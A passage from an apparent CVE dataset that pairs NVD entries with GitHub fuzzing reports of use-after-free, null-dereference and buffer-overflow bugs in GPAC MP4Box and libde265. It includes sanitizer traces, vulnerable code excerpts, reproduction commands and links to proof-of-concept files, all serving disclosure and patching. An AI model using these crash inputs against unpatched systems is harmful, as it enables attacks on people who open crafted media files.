#6 0x7fa6cb05c6b3 in m2tsdmx_declare_pid filters/dmx_m2ts.c:454
#7 0x7fa6cb05f98a in m2tsdmx_setup_program filters/dmx_m2ts.c:592
#8 0x7fa6cb06245b in m2tsdmx_on_event filters/dmx_m2ts.c:876
#9 0x7fa6ca9507d4 in gf_m2ts_process_pmt media_tools/mpegts.c:1779
#10 0x7fa6ca9507d4 in gf_m2ts_process_pmt media_tools/mpegts.c:1132
#11 0x7fa6ca9439b6 in gf_m2ts_section_complete media_tools/mpegts.c:624
#12 0x7fa6ca9452af in gf_m2ts_gather_section media_tools/mpegts.c:755
#13 0x7fa6ca94a532 in gf_m2ts_process_packet media_tools/mpegts.c:2721
#14 0x7fa6ca94dd68 in gf_m2ts_process_data media_tools/mpegts.c:2813
#15 0x7fa6cb05a250 in m2tsdmx_process filters/dmx_m2ts.c:1420
#16 0x7fa6caf29bcc in gf_filter_process_task filter_core/filter.c:2750
#17 0x7fa6caee9af3 in gf_fs_thread_proc filter_core/filter_session.c:1859
#18 0x7fa6caef63ee in gf_fs_run filter_core/filter_session.c:2120
#19 0x7fa6ca938fd1 in gf_media_import media_tools/media_import.c:1551
#20 0x55f87208daec in import_file /home/sumuchuan/Desktop/gpac_fuzz/gpac/applications/mp4box/fileimport.c:1498
#21 0x55f8720423db in do_add_cat /home/sumuchuan/Desktop/gpac_fuzz/gpac/applications/mp4box/mp4box.c:4508
#22 0x55f8720423db in mp4box_main /home/sumuchuan/Desktop/gpac_fuzz/gpac/applications/mp4box/mp4box.c:6124
#23 0x7fa6c7ec3d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
previously allocated by thread T0 here:
#0 0x7fa6cda1ec18 in __interceptor_realloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:164
#1 0x7fa6ca0aff20 in realloc_chain utils/list.c:621
#2 0x7fa6ca0aff20 in gf_list_add utils/list.c:630
#3 0x7fa6caed0d5f in gf_props_merge_property filter_core/filter_props.c:1199
#4 0x7fa6cae9661b in gf_filter_pid_new filter_core/filter_pid.c:5258
#5 0x7fa6cb05adf9 in m2tsdmx_declare_pid filters/dmx_m2ts.c:411
#6 0x7fa6cb05f98a in m2tsdmx_setup_program filters/dmx_m2ts.c:592
#7 0x7fa6cb06245b in m2tsdmx_on_event filters/dmx_m2ts.c:876
#8 0x7fa6ca9507d4 in gf_m2ts_process_pmt media_tools/mpegts.c:1779
#9 0x7fa6ca9507d4 in gf_m2ts_process_pmt media_tools/mpegts.c:1132
#10 0x7fa6ca9439b6 in gf_m2ts_section_complete media_tools/mpegts.c:624
#11 0x7fa6ca9452af in gf_m2ts_gather_section media_tools/mpegts.c:755
#12 0x7fa6ca94a532 in gf_m2ts_process_packet media_tools/mpegts.c:2721
#13 0x7fa6ca94dd68 in gf_m2ts_process_data media_tools/mpegts.c:2813
#14 0x7fa6cb05a250 in m2tsdmx_process filters/dmx_m2ts.c:1420
#15 0x7fa6caf29bcc in gf_filter_process_task filter_core/filter.c:2750
#16 0x7fa6caee9af3 in gf_fs_thread_proc filter_core/filter_session.c:1859
#17 0x7fa6caef63ee in gf_fs_run filter_core/filter_session.c:2120
#18 0x7fa6ca938fd1 in gf_media_import media_tools/media_import.c:1551
#19 0x55f87208daec in import_file /home/sumuchuan/Desktop/gpac_fuzz/gpac/applications/mp4box/fileimport.c:1498
#20 0x55f8720423db in do_add_cat /home/sumuchuan/Desktop/gpac_fuzz/gpac/applications/mp4box/mp4box.c:4508
#21 0x55f8720423db in mp4box_main /home/sumuchuan/Desktop/gpac_fuzz/gpac/applications/mp4box/mp4box.c:6124
#22 0x7fa6c7ec3d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
SUMMARY: AddressSanitizer: heap-use-after-free filters/dmx_m2ts.c:470 in m2tsdmx_declare_pid
Shadow bytes around the buggy address:
0x0c0e7fff8850: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 fa fa
0x0c0e7fff8860: fa fa 00 00 00 00 00 00 00 00 00 00 fa fa fa fa
0x0c0e7fff8870: 00 00 00 00 00 00 00 00 00 00 fa fa fa fa 00 00
0x0c0e7fff8880: 00 00 00 00 00 00 00 00 fa fa fa fa 00 00 00 00
0x0c0e7fff8890: 00 00 00 00 00 00 fa fa fa fa 00 00 00 00 00 00
=>0x0c0e7fff88a0: 00 00 00 00 fa fa fa fa fd[fd]fd fd fd fd fd fd
0x0c0e7fff88b0: fd fd fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0e7fff88c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0e7fff88d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0e7fff88e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0e7fff88f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==583780==ABORTING
```
# POC
[poc_uaf.zip](https://github.com/gpac/gpac/files/10202295/poc_uaf.zip)
# Impact
Potentially causing DoS and RCE
# Credit
Xdchase
|
heap-use-after-free filters/dmx_m2ts.c:470 in m2tsdmx_declare_pid
|
https://api.github.com/repos/gpac/gpac/issues/2344/comments
| 0 |
2022-12-11T13:29:49Z
|
2022-12-12T09:59:03Z
|
https://github.com/gpac/gpac/issues/2344
| 1,489,981,443 | 2,344 |
CVE-2022-47094
|
2023-01-05T15:15:10.880
|
GPAC MP4box 2.1-DEV-rev574-g9d5bb184b is vulnerable to Null pointer dereference via filters/dmx_m2ts.c:343 in m2tsdmx_declare_pid
|
{
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 7.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 5.9,
"source": "[email protected]",
"type": "Primary"
}
]
}
|
[
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/gpac/gpac/issues/2345"
},
{
"source": "[email protected]",
"tags": null,
"url": "https://www.debian.org/security/2023/dsa-5411"
}
] |
[
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:gpac:gpac:*:*:*:*:*:*:*:*",
"matchCriteriaId": "B4D3D58A-C3C9-4441-A84A-FB91FD19985C",
"versionEndExcluding": "2.2.0",
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] |
https://github.com/gpac/gpac/issues/2345
|
[
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] |
github.com
|
[
"gpac",
"gpac"
] |
Thanks for reporting your issue. Please make sure these boxes are checked before submitting your issue - thank you!
- [X] I looked for a similar issue and couldn't find any.
- [X] I tried with the latest version of GPAC. Installers available at http://gpac.io/downloads/gpac-nightly-builds/
- [X] I give enough information for contributors to reproduce my issue (meaningful title, github labels, platform and compiler, command-line ...). I can share files anonymously with this dropbox: https://www.mediafire.com/filedrop/filedrop_hosted.php?drop=eec9e058a9486fe4e99c33021481d9e1826ca9dbc242a6cfaab0fe95da5e5d95
Detailed guidelines: http://gpac.io/2013/07/16/how-to-file-a-bug-properly/
# Description
Null pointer dereference filters/dmx_m2ts.c:343 in m2tsdmx_declare_pid
# Version info
```
MP4Box - GPAC version 2.1-DEV-rev574-g9d5bb184b-master
(c) 2000-2022 Telecom Paris distributed under LGPL v2.1+ - http://gpac.io
Please cite our work in your research:
GPAC Filters: https://doi.org/10.1145/3339825.3394929
GPAC: https://doi.org/10.1145/1291233.1291452
GPAC Configuration: --enable-sanitizer
Features: GPAC_CONFIG_LINUX GPAC_64_BITS GPAC_HAS_IPV6 GPAC_HAS_SSL GPAC_HAS_SOCK_UN GPAC_MINIMAL_ODF GPAC_HAS_QJS GPAC_HAS_LINUX_DVB GPAC_DISABLE_3D
```
# Reproduce
compile and run
```
./configure --enable-sanitizer
make
./MP4Box import -add poc_nderef.avi
```
# Crash reported by sanitizer
```
Broken PAT found reserved PID 0, ignoring
Broken PAT found reserved PID 0, ignoring
Broken PAT found reserved PID 0, ignoring
Broken PAT found reserved PID 0, ignoring
Broken PMT descriptor! size 54, desc size 48 but position 5
MORE sections on pid 4144
Broken PMT descriptor! size 54, desc size 48 but position 10
Broken PMT descriptor! size 54, desc size 48 but position 15
[MPEG-2 TS] PID 4144 reused across programs 8192 and 8192, not completely supported
Broken PMT descriptor! size 54, desc size 48 but position 20
[MPEG-2 TS] PID 4144 reused across programs 8192 and 8192, not completely supported
MORE sections on pid 4144
[MPEG-2 TS] PID 4144 reused across programs 8192 and 8192, not completely supported
[MPEG-2 TS] Invalid PMT es descriptor size for PID 5859
[MPEG-2 TS] TS Packet 3 is scrambled - not supported
Broken PAT found reserved PID 0, ignoring
Broken PAT found reserved PID 0, ignoring
Broken PAT found reserved PID 0, ignoring
Broken PAT found reserved PID 0, ignoring
Broken PMT descriptor! size 54, desc size 48 but position 5
MORE sections on pid 4144
Broken PMT descriptor! size 54, desc size 48 but position 10
Broken PMT descriptor! size 54, desc size 48 but position 15
[MPEG-2 TS] PID 4144 reused across programs 8192 and 8192, not completely supported
Broken PMT descriptor! size 54, desc size 48 but position 20
[MPEG-2 TS] PID 4144 reused across programs 8192 and 8192, not completely supported
MORE sections on pid 4144
[MPEG-2 TS] PID 4144 reused across programs 8192 and 8192, not completely supported
[MPEG-2 TS] Invalid PMT es descriptor size for PID 5859
[M2TSDmx] Stream type 0x30 not supported - ignoring pid
filters/dmx_m2ts.c:343:51: runtime error: member access within null pointer of type 'struct GF_InitialObjectDescriptor'
```
# POC
[poc_nderef.zip](https://github.com/gpac/gpac/files/10202316/poc_nderef.zip)
# Impact
Potentially causing DoS and RCE
# Credit
Xdchase
|
Null pointer dereference filters/dmx_m2ts.c:343 in m2tsdmx_declare_pid
|
https://api.github.com/repos/gpac/gpac/issues/2345/comments
| 0 |
2022-12-11T13:39:08Z
|
2022-12-12T09:59:03Z
|
https://github.com/gpac/gpac/issues/2345
| 1,489,995,127 | 2,345 |
CVE-2022-47095
|
2023-01-05T15:15:10.927
|
GPAC MP4box 2.1-DEV-rev574-g9d5bb184b is vulnerable to Buffer overflow in hevc_parse_vps_extension function of media_tools/av_parsers.c
|
{
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 7.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 5.9,
"source": "[email protected]",
"type": "Primary"
}
]
}
|
[
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/gpac/gpac/issues/2346"
},
{
"source": "[email protected]",
"tags": null,
"url": "https://www.debian.org/security/2023/dsa-5411"
}
] |
[
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:gpac:gpac:*:*:*:*:*:*:*:*",
"matchCriteriaId": "B4D3D58A-C3C9-4441-A84A-FB91FD19985C",
"versionEndExcluding": "2.2.0",
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] |
https://github.com/gpac/gpac/issues/2346
|
[
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] |
github.com
|
[
"gpac",
"gpac"
] |
Thanks for reporting your issue. Please make sure these boxes are checked before submitting your issue - thank you!
- [X] I looked for a similar issue and couldn't find any.
- [X] I tried with the latest version of GPAC. Installers available at http://gpac.io/downloads/gpac-nightly-builds/
- [X] I give enough information for contributors to reproduce my issue (meaningful title, github labels, platform and compiler, command-line ...). I can share files anonymously with this dropbox: https://www.mediafire.com/filedrop/filedrop_hosted.php?drop=eec9e058a9486fe4e99c33021481d9e1826ca9dbc242a6cfaab0fe95da5e5d95
Detailed guidelines: http://gpac.io/2013/07/16/how-to-file-a-bug-properly/
# Description
Buffer overflow in hevc_parse_vps_extension function of media_tools/av_parsers.c
```c
for (i = 0; i < (num_scalability_types - splitting_flag); i++) {
dimension_id_len[i] = 1 + gf_bs_read_int_log_idx(bs, 3, "dimension_id_len_minus1", i); // overflow at dimension_id_len
}
```
# Version info
```
MP4Box - GPAC version 2.1-DEV-rev574-g9d5bb184b-master
(c) 2000-2022 Telecom Paris distributed under LGPL v2.1+ - http://gpac.io
Please cite our work in your research:
GPAC Filters: https://doi.org/10.1145/3339825.3394929
GPAC: https://doi.org/10.1145/1291233.1291452
GPAC Configuration: --enable-sanitizer
Features: GPAC_CONFIG_LINUX GPAC_64_BITS GPAC_HAS_IPV6 GPAC_HAS_SSL GPAC_HAS_SOCK_UN GPAC_MINIMAL_ODF GPAC_HAS_QJS GPAC_HAS_LINUX_DVB GPAC_DISABLE_3D
```
# Reproduce
compile and run
```
./configure --enable-sanitizer
make
./MP4Box import -add poc_bof6.mp4
```
Crash reported by sanitizer
```
[Core] exp-golomb read failed, not enough bits in bitstream !
[HEVC] Warning: Error parsing NAL unit
media_tools/av_parsers.c:7633:19: runtime error: index 16 out of bounds for type 'u8 [16]'
```
# POC
[poc_bof6.zip](https://github.com/gpac/gpac/files/10202354/poc_bof6.zip)
# Impact
Potentially causing DoS and RCE
# Credit
Xdchase
|
Buffer overflow in hevc_parse_vps_extension function of media_tools/av_parsers.c
|
https://api.github.com/repos/gpac/gpac/issues/2346/comments
| 0 |
2022-12-11T13:53:19Z
|
2022-12-12T09:59:03Z
|
https://github.com/gpac/gpac/issues/2346
| 1,490,015,617 | 2,346 |
CVE-2022-47653
|
2023-01-05T16:15:09.350
|
GPAC MP4box 2.1-DEV-rev593-g007bf61a0 is vulnerable to Buffer Overflow in eac3_update_channels function of media_tools/av_parsers.c:9113
|
{
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 7.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 5.9,
"source": "[email protected]",
"type": "Primary"
}
]
}
|
[
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/gpac/gpac/issues/2349"
}
] |
[
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:gpac:gpac:*:*:*:*:*:*:*:*",
"matchCriteriaId": "B4D3D58A-C3C9-4441-A84A-FB91FD19985C",
"versionEndExcluding": "2.2.0",
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] |
https://github.com/gpac/gpac/issues/2349
|
[
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] |
github.com
|
[
"gpac",
"gpac"
] |
Thanks for reporting your issue. Please make sure these boxes are checked before submitting your issue - thank you!
- [X] I looked for a similar issue and couldn't find any.
- [X] I tried with the latest version of GPAC. Installers available at http://gpac.io/downloads/gpac-nightly-builds/
- [X] I give enough information for contributors to reproduce my issue (meaningful title, github labels, platform and compiler, command-line ...). I can share files anonymously with this dropbox: https://www.mediafire.com/filedrop/filedrop_hosted.php?drop=eec9e058a9486fe4e99c33021481d9e1826ca9dbc242a6cfaab0fe95da5e5d95
Detailed guidelines: http://gpac.io/2013/07/16/how-to-file-a-bug-properly/
# Description
buffer overflow in eac3_update_channels function of media_tools/av_parsers.c:9113
```c
static void eac3_update_channels(GF_AC3Config *hdr)
{
u32 i;
for (i=0; i<hdr->nb_streams; i++) {
u32 nb_ch = ac3_mod_to_total_chans[hdr->streams[i].acmod]; // overflow
if (hdr->streams[i].nb_dep_sub) {
hdr->streams[i].chan_loc = eac3_chanmap_to_chan_loc(hdr->streams[i].chan_loc);
nb_ch += gf_eac3_get_chan_loc_count(hdr->streams[i].chan_loc);
}
if (hdr->streams[i].lfon) nb_ch++;
hdr->streams[i].channels = nb_ch;
hdr->streams[i].surround_channels = ac3_mod_to_surround_chans[hdr->streams[i].acmod];
}
}
```
# Version info
latest version
```
MP4Box - GPAC version 2.1-DEV-rev593-g007bf61a0-master
(c) 2000-2022 Telecom Paris distributed under LGPL v2.1+ - http://gpac.io
Please cite our work in your research:
GPAC Filters: https://doi.org/10.1145/3339825.3394929
GPAC: https://doi.org/10.1145/1291233.1291452
GPAC Configuration: --enable-sanitizer
Features: GPAC_CONFIG_LINUX GPAC_64_BITS GPAC_HAS_IPV6 GPAC_HAS_SSL GPAC_HAS_SOCK_UN GPAC_MINIMAL_ODF GPAC_HAS_QJS GPAC_HAS_LINUX_DVB GPAC_DISABLE_3D
```
# Reproduce
compile and run
```
./configure --enable-sanitizer
make
./MP4Box import -add poc_bof7.swf
```
Crash reported by sanitizer
```
[iso file] Unknown box type dvbs in parent stsd
Track Importing EAC-3 - SampleRate 32000 Num Channels 6
[AC3Dmx] 24 bytes unrecovered before sync word
[AC3Dmx] 13 bytes unrecovered before sync word
media_tools/av_parsers.c:9113:50: runtime error: index 8 out of bounds for type 'GF_AC3StreamInfo [8]'
```
# POC
[poc_bof7.zip](https://github.com/gpac/gpac/files/10212046/poc_bof7.zip)
# Impact
Potentially causing DoS and RCE
# Credit
Xdchase
|
buffer overflow in eac3_update_channels function of media_tools/av_parsers.c:9113
|
https://api.github.com/repos/gpac/gpac/issues/2349/comments
| 0 |
2022-12-12T21:08:37Z
|
2022-12-13T09:18:38Z
|
https://github.com/gpac/gpac/issues/2349
| 1,492,772,918 | 2,349 |
CVE-2022-47654
|
2023-01-05T16:15:09.587
|
GPAC MP4box 2.1-DEV-rev593-g007bf61a0 is vulnerable to Buffer Overflow in gf_hevc_read_sps_bs_internal function of media_tools/av_parsers.c:8261
|
{
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 7.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 5.9,
"source": "[email protected]",
"type": "Primary"
}
]
}
|
[
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Patch",
"Third Party Advisory"
],
"url": "https://github.com/gpac/gpac/issues/2350"
}
] |
[
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:gpac:gpac:*:*:*:*:*:*:*:*",
"matchCriteriaId": "B4D3D58A-C3C9-4441-A84A-FB91FD19985C",
"versionEndExcluding": "2.2.0",
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] |
https://github.com/gpac/gpac/issues/2350
|
[
"Exploit",
"Issue Tracking",
"Patch",
"Third Party Advisory"
] |
github.com
|
[
"gpac",
"gpac"
] |
Thanks for reporting your issue. Please make sure these boxes are checked before submitting your issue - thank you!
- [X] I looked for a similar issue and couldn't find any.
- [X] I tried with the latest version of GPAC. Installers available at http://gpac.io/downloads/gpac-nightly-builds/
- [X] I give enough information for contributors to reproduce my issue (meaningful title, github labels, platform and compiler, command-line ...). I can share files anonymously with this dropbox: https://www.mediafire.com/filedrop/filedrop_hosted.php?drop=eec9e058a9486fe4e99c33021481d9e1826ca9dbc242a6cfaab0fe95da5e5d95
Detailed guidelines: http://gpac.io/2013/07/16/how-to-file-a-bug-properly/
# Description
buffer overflow in gf_hevc_read_sps_bs_internal function of media_tools/av_parsers.c:8261
```c
//sps_rep_format_idx = 0;
if (multiLayerExtSpsFlag) {
sps->update_rep_format_flag = gf_bs_read_int_log(bs, 1, "update_rep_format_flag");
if (sps->update_rep_format_flag) {
sps->rep_format_idx = gf_bs_read_int_log(bs, 8, "rep_format_idx");
if (sps->rep_format_idx>15) {
return -1;
}
} else {
sps->rep_format_idx = vps->rep_format_idx[layer_id]; // overflow
}
```
# Version info
latest version
```
MP4Box - GPAC version 2.1-DEV-rev593-g007bf61a0-master
(c) 2000-2022 Telecom Paris distributed under LGPL v2.1+ - http://gpac.io
Please cite our work in your research:
GPAC Filters: https://doi.org/10.1145/3339825.3394929
GPAC: https://doi.org/10.1145/1291233.1291452
GPAC Configuration: --enable-sanitizer
Features: GPAC_CONFIG_LINUX GPAC_64_BITS GPAC_HAS_IPV6 GPAC_HAS_SSL GPAC_HAS_SOCK_UN GPAC_MINIMAL_ODF GPAC_HAS_QJS GPAC_HAS_LINUX_DVB GPAC_DISABLE_3D
```
# Reproduce
compile and run
```
./configure --enable-sanitizer
make
./MP4Box import -add poc_bof8.mov
```
Crash reported by sanitizer
```
[iso file] Unknown box type dvbs in parent stsd
[HEVC] Error parsing NAL unit type 16
[Core] exp-golomb read failed, not enough bits in bitstream !
[HEVC] Error parsing NAL unit type 32
[Core] exp-golomb read failed, not enough bits in bitstream !
[HEVC] Error parsing NAL unit type 33
[HEVC] Error parsing NAL unit type 16
Track Importing HEVC - Width -10 Height -20316159 FPS 25000/1000
[HEVC] Error parsing NAL Unit 8 (size 0 type 0 frame 0 last POC 0) - skipping
[HEVC] Error parsing NAL unit type 16
[HEVC] Error parsing NAL unit type 0
[Core] exp-golomb read failed, not enough bits in bitstream !
[HEVC] Error parsing NAL unit type 32
[Core] exp-golomb read failed, not enough bits in bitstream !
[HEVC] Error parsing NAL unit type 33
[Core] exp-golomb read failed, not enough bits in bitstream !
[HEVC] Error parsing NAL unit type 34
[Core] exp-golomb read failed, not enough bits in bitstream !
[Core] exp-golomb read failed, not enough bits in bitstream !
[HEVC] Wrong number of layer sets in VPS 5
[HEVC] Error parsing NAL unit type 32
[HEVC] Error parsing Video Param Set
[Core] exp-golomb read failed, not enough bits in bitstream !
[HEVC] Error parsing NAL unit type 32
[Core] exp-golomb read failed, not enough bits in bitstream !
[HEVC] Error parsing NAL unit type 33
[Core] exp-golomb read failed, not enough bits in bitstream !
[Core] exp-golomb read failed, not enough bits in bitstream !
[Core] exp-golomb read failed, not enough bits in bitstream !
[HEVC] Error parsing NAL unit type 34
[Core] exp-golomb read failed, not enough bits in bitstream !
[Core] exp-golomb read failed, not enough bits in bitstream !
[Core] exp-golomb read failed, not enough bits in bitstream !
[HEVC] Error parsing NAL unit type 34
[Core] exp-golomb read failed, not enough bits in bitstream !
[Core] exp-golomb read failed, not enough bits in bitstream !
[Core] exp-golomb read failed, not enough bits in bitstream !
[Core] exp-golomb read failed, not enough bits in bitstream !
[HEVC] sorry, 11 layers in VPS but only 4 supported
[HEVC] Error parsing NAL unit type 32
[HEVC] Error parsing Video Param Set
media_tools/av_parsers.c:8261:45: runtime error: index 45 out of bounds for type 'u32 [16]'
```
# POC
[poc_bof8.zip](https://github.com/gpac/gpac/files/10212064/poc_bof8.zip)
# Impact
Potentially causing DoS and RCE
# Credit
Xdchase
|
buffer overflow in gf_hevc_read_sps_bs_internal function of media_tools/av_parsers.c:8261
|
https://api.github.com/repos/gpac/gpac/issues/2350/comments
| 0 |
2022-12-12T21:13:33Z
|
2022-12-13T09:18:38Z
|
https://github.com/gpac/gpac/issues/2350
| 1,492,780,269 | 2,350 |
CVE-2022-47655
|
2023-01-05T16:15:09.803
|
Libde265 1.0.9 is vulnerable to Buffer Overflow in function void put_qpel_fallback<unsigned short>
|
{
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 7.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 5.9,
"source": "[email protected]",
"type": "Primary"
}
]
}
|
[
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/strukturag/libde265/issues/367"
},
{
"source": "[email protected]",
"tags": [
"Mailing List",
"Third Party Advisory"
],
"url": "https://lists.debian.org/debian-lts-announce/2023/01/msg00020.html"
},
{
"source": "[email protected]",
"tags": null,
"url": "https://www.debian.org/security/2023/dsa-5346"
}
] |
[
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:struktur:libde265:1.0.9:*:*:*:*:*:*:*",
"matchCriteriaId": "8186C657-3009-4756-B2AC-531BD7926074",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:debian:debian_linux:10.0:*:*:*:*:*:*:*",
"matchCriteriaId": "07B237A9-69A3-4A9C-9DA0-4E06BD37AE73",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] |
https://github.com/strukturag/libde265/issues/367
|
[
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] |
github.com
|
[
"strukturag",
"libde265"
] |
# Description
stack-buffer-overflow (libde265/build/libde265/libde265.so+0x17d304) in void put_qpel_fallback<unsigned short>(short*, long, unsigned short const*, long, int, int, short*, int, int, int)
# Version info
```
dec265 v1.0.9
--------------
usage: dec265 [options] videofile.bin
The video file must be a raw bitstream, or a stream with NAL units (option -n).
options:
-q, --quiet do not show decoded image
-t, --threads N set number of worker threads (0 - no threading)
-c, --check-hash perform hash check
-n, --nal input is a stream with 4-byte length prefixed NAL units
-f, --frames N set number of frames to process
-o, --output write YUV reconstruction
-d, --dump dump headers
-0, --noaccel do not use any accelerated code (SSE)
-v, --verbose increase verbosity level (up to 3 times)
-L, --no-logging disable logging
-B, --write-bytestream FILENAME write raw bytestream (from NAL input)
-m, --measure YUV compute PSNRs relative to reference YUV
-T, --highest-TID select highest temporal sublayer to decode
--disable-deblocking disable deblocking filter
--disable-sao disable sample-adaptive offset filter
-h, --help show help
```
# Reproduce
```
git clone https://github.com/strukturag/libde265.git
cd libde265
mkdir build
cd build
cmake ../ -DCMAKE_CXX_FLAGS="-fsanitize=address"
make -j$(nproc)
./dec265/dec265 poc.bin
```
# ASAN
```
WARNING: coded parameter out of range
WARNING: maximum number of reference pictures exceeded
WARNING: faulty reference picture list
WARNING: maximum number of reference pictures exceeded
WARNING: faulty reference picture list
WARNING: maximum number of reference pictures exceeded
WARNING: faulty reference picture list
WARNING: non-existing PPS referenced
WARNING: CTB outside of image area (concealing stream error...)
WARNING: non-existing PPS referenced
WARNING: non-existing PPS referenced
WARNING: non-existing PPS referenced
WARNING: maximum number of reference pictures exceeded
WARNING: CTB outside of image area (concealing stream error...)
WARNING: non-existing PPS referenced
=================================================================
==3829==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7fffea52d35f at pc 0x7f8966bd5305 bp 0x7fffea52ac00 sp 0x7fffea52abf0
READ of size 2 at 0x7fffea52d35f thread T0
#0 0x7f8966bd5304 in void put_qpel_fallback<unsigned short>(short*, long, unsigned short const*, long, int, int, short*, int, int, int) (/home/sumuchuan/Desktop/libde265_fuzz/libde265/build/libde265/libde265.so+0x17d304)
#1 0x7f8966bd08c2 in put_qpel_1_0_fallback_16(short*, long, unsigned short const*, long, int, int, short*, int) (/home/sumuchuan/Desktop/libde265_fuzz/libde265/build/libde265/libde265.so+0x1788c2)
#2 0x7f8966c0152e in acceleration_functions::put_hevc_qpel(short*, long, void const*, long, int, int, short*, int, int, int) const (/home/sumuchuan/Desktop/libde265_fuzz/libde265/build/libde265/libde265.so+0x1a952e)
#3 0x7f8966c02c0f in void mc_luma<unsigned char>(base_context const*, seq_parameter_set const*, int, int, int, int, short*, int, unsigned char const*, int, int, int, int) (/home/sumuchuan/Desktop/libde265_fuzz/libde265/build/libde265/libde265.so+0x1aac0f)
